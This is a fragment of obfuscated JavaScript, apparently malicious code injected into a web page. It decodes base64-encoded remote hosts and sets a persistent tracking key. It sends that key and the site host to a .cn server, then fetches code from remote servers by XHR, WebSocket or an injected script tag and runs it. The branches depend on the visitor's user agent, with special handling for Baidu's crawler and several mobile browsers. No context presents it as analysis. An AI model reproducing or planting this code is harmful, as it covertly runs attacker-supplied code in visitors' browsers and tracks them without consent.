x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};